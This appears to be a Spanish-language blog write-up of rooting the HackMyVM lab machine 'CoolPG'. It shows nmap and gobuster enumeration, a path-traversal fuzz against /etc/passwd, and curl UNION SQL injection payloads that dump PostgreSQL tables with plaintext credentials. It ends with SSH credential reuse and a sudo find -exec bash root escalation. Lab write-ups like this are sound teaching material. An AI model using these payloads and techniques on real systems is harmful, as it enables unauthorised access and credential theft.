cd ~/blog

~/writeups/hmv/144-coolpg.md

144 - CoolPG

easy Linux hmv 07-07-2026
SQL Injection (UNION)Credential reuse via SSHsudo find -exec bash Privesc
hackmyvm.eu/machines/machine.php?vm=Coolpg

~3 min de lectura


Reconocimiento

Comenzamos identificando la dirección IP asignada a la máquina víctima dentro de la red local. Esto nos permite delimitar el objetivo antes de iniciar la enumeración de servicios:

 arp-scan --interface=wlan0 --localnet | grep PCS | awk '{print $1}'
192.168.1.230

Con la IP confirmada, lanzamos un escaneo completo de puertos TCP con nmap para descubrir la superficie de ataque expuesta:

 sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.230
[sudo] password for wh01s17:
Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-07 17:01 -0400
Nmap scan report for 192.168.1.230
Host is up (0.00031s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:81:5E:CB (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.05 seconds
 nmap -sCV -p 22,80 -oN 02-targeted.txt 192.168.1.230
Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-07 17:02 -0400
Nmap scan report for 192.168.1.230
Host is up (0.00024s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 10.0p2 Debian 7 (protocol 2.0)
80/tcp open  http    nginx
|_http-title: CoolPG Internal
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.33 seconds

El escaneo muestra únicamente SSH y HTTP. Al revisar el servicio web encontramos un dominio interno asociado al sitio, por lo que lo añadimos a /etc/hosts para que nuestra máquina pueda resolverlo localmente:

 sudo su
[sudo] password for wh01s17:
[root@archlinux content]# echo "192.168.1.230 coolpgi.hmv" >> /etc/hosts
[root@archlinux content]# cat /etc/hosts

# See hosts(5) for details.
127.0.0.1        localhost
::1              localhost
192.168.1.230    coolpgi.hmv

Enumeración Web

Con la resolución del dominio configurada, enumeramos rutas y recursos web mediante gobuster. El objetivo es encontrar endpoints accesibles que no estén enlazados directamente desde la página principal:

 gobuster dir -u 'http://coolpgi.hmv' -w ~/Documents/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,js,txt,html,xml,jpg,jpeg,png,gif,zip,sh,db,sql -r
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://coolpgi.hmv
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /home/wh01s17/Documents/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Extensions:              txt,jpeg,png,gif,zip,sh,php,js,html,xml,jpg,db,sql
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
search               (Status: 200) [Size: 944]
login                (Status: 200) [Size: 1323]
panel                (Status: 200) [Size: 1273]

La ruta /search parece recibir parámetros por GET, así que usamos ffuf para descubrir nombres de parámetros y probar si alguno procesa entradas controladas por el usuario. Este tipo de punto de entrada puede derivar en LFI (Local File Inclusion) o SQL Injection si la aplicación no valida correctamente los datos recibidos:

 ffuf -u 'http://coolpgi.hmv/search?FUZZ=../../../../../../../../../../../../../etc/passwd' -w ~/Documents/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -fs 944

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://coolpgi.hmv/search?FUZZ=../../../../../../../../../../../../../etc/passwd
 :: Wordlist         : FUZZ: /home/wh01s17/Documents/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 944
________________________________________________

q                       [Status: 200, Size: 993, Words: 146, Lines: 30, Duration: 1418ms]

El parámetro q responde de forma distinta, lo que indica que es interpretado por la aplicación. Además, el nombre coolpgi sugiere una posible relación con PostgreSQL, así que usamos esa pista como hipótesis inicial para orientar la explotación.

Al revisar el código fuente de http://coolpgi.hmv/panel encontramos comentarios de desarrollo que refuerzan esa hipótesis. Las referencias a reportes con UNION indican que la aplicación podría estar construyendo consultas SQL de forma insegura:

<!doctype html>
<html>
  <body>
    <div class="wrap">
      <!-- Dev note: access control handled upstream -->
      <h2>User Lookup</h2>
      <div class="hint">
        Search users by username.<br />
        <span class="muted">Dev note: UNION reporting is supported for ops audits.</span>
      </div>

      <!-- TODO: sanitize UNION reports before external exposure -->
      <form method="GET" action="/search">
        <input name="q" placeholder="search (e.g. cool)" autocomplete="off" />
        <button type="submit">Search</button>
      </form>
    </div>
  </body>
</html>

Explotación SQL Injection

Con la inyección SQL confirmada, usamos consultas UNION para extraer información del motor de base de datos. Primero obtenemos el nombre de la base activa:

 curl "http://coolpgi.hmv/search?q='+UNION+SELECT+current_database()--+-"
...
<table>
	<tr><th>username</th></tr>
	<tr><td>coolpgdb</td></tr>
</table>
...

La respuesta confirma que la aplicación está usando la base de datos coolpgdb.

A partir de ahí enumeramos los esquemas disponibles. En PostgreSQL, los esquemas agrupan objetos como tablas, vistas y funciones dentro de una base de datos:

 curl "http://coolpgi.hmv/search?q='+UNION+SELECT+string_agg(schema_name,+',+')+FROM+information_schema.schemata--+-"
...
<table>
  <tr><th>username</th></tr>
  <tr><td>information_schema, pg_catalog, public</td></tr>
</table>

El esquema interesante para la aplicación es public, así que listamos sus tablas:

 curl "http://coolpgi.hmv/search?q='+UNION+SELECT+string_agg(table_name,+',+')+FROM+information_schema.tables+WHERE+table_schema+=+'public'--+-"
...
<table>
  <tr><th>username</th></tr>
  <tr><td>users, secrets</td></tr>
</table>
...

Una vez localizadas las tablas, identificamos las columnas de users para entender qué información almacena:

 curl "http://coolpgi.hmv/search?q='+UNION+SELECT+string_agg(column_name,',')+FROM+information_schema.columns+WHERE+table_schema='public'+AND+table_name='users'--+-"
...
<table>
  <tr><th>username</th></tr>
  <tr><td>id,username,password</td></tr>
</table>

Repetimos el proceso con secrets, ya que por su nombre podría contener datos sensibles o credenciales:

 curl "http://coolpgi.hmv/search?q='+UNION+SELECT+string_agg(column_name,',')+FROM+information_schema.columns+WHERE+table_schema='public'+AND+table_name='secrets'--+-"
...
<table>
  <tr><th>username</th></tr>
  <tr><td>id,name,value</td></tr>
</table>
...

Con la estructura de las tablas clara, extraemos los registros de users concatenando usuario y contraseña en una sola columna, compatible con la salida esperada por la consulta original:

 curl "http://coolpgi.hmv/search?q='+UNION+SELECT+string_agg(concat(username,':',password),',')+FROM+users--+-"
...
<table>
	<tr><th>username</th></tr>
	<tr>
		<td>
			admin:S3cr3tAdm1nPw,cool:ThisIsMyPGMyAdmin
		</td>
	</tr>
</table>

Después exfiltramos secrets, donde aparecen credenciales explícitas para el acceso por SSH:

 curl "http://coolpgi.hmv/search?q='+UNION+SELECT+string_agg(concat(name,'=',value),',')+FROM+public.secrets--+-"
...
<table>
	<tr><th>username</th></tr>
	<tr>
		<td>
		  ssh_user=cool,ssh_pass=ThisIsMyPGMyAdmin
		</td>
	</tr>
</table>
...

Acceso Inicial

Las credenciales recuperadas son válidas para el servicio SSH expuesto en el puerto 22. Con ellas conseguimos acceso interactivo como el usuario cool y podemos leer la flag de usuario:

 ssh cool@192.168.1.230
cool@192.168.1.230's password: ThisIsMyPGMyAdmin
Linux coolpgi.hmv 6.12.57+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.57-1 (2025-11-05) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Jul  8 01:39:22 2026 from 192.168.1.109
cool@coolpgi:~$

Escalada de Privilegios

Ya dentro del sistema, iniciamos la fase de post-explotación revisando los permisos de sudo. Este paso permite identificar comandos que el usuario puede ejecutar con privilegios elevados:

cool@coolpgi:~$ sudo -l
Matching Defaults entries for cool on coolpgi:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User cool may run the following commands on coolpgi:
    (ALL) NOPASSWD: /usr/local/bin/runlogs-find.sh

La salida indica que cool puede ejecutar /usr/local/bin/runlogs-find.sh como cualquier usuario, incluido root, y además sin contraseña debido a la regla NOPASSWD.

Inspeccionamos el script permitido para entender exactamente qué ejecuta y si confía en archivos controlados por nuestro usuario:

cool@coolpgi:~$ cat /usr/local/bin/runlogs-find.sh
#!/bin/sh
exec /usr/bin/find /home/cool -maxdepth 3 -type f -name "*.log" -exec /bin/bash \; -quit

El script usa find para buscar el primer archivo con extensión .log dentro del directorio personal de cool. La parte vulnerable está en -exec /bin/bash \;: al encontrar una coincidencia, no ejecuta el archivo .log, sino que lanza una nueva instancia de /bin/bash. Como el script se ejecuta mediante sudo, esa shell se abre con privilegios de root.

Para activar esa condición, basta con que exista un archivo que coincida con el patrón *.log dentro de nuestro directorio personal:

cool@coolpgi:~$ touch pwned.log
cool@coolpgi:~$ ls -l pwned.log
-rw-r--r-- 1 cool cool 0 Jul  8 01:43 pwned.log

El contenido del archivo no importa en este caso. Solo necesitamos que exista una coincidencia para que find ejecute la acción definida con -exec.

Finalmente ejecutamos el script mediante sudo. Al detectar el archivo .log, find ejecuta /bin/bash como root:

cool@coolpgi:~$ sudo /usr/local/bin/runlogs-find.sh
root@coolpgi:/home/cool#

Tras la ejecución obtenemos una shell con privilegios de root, lo que completa la escalada y permite recuperar la flag final.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados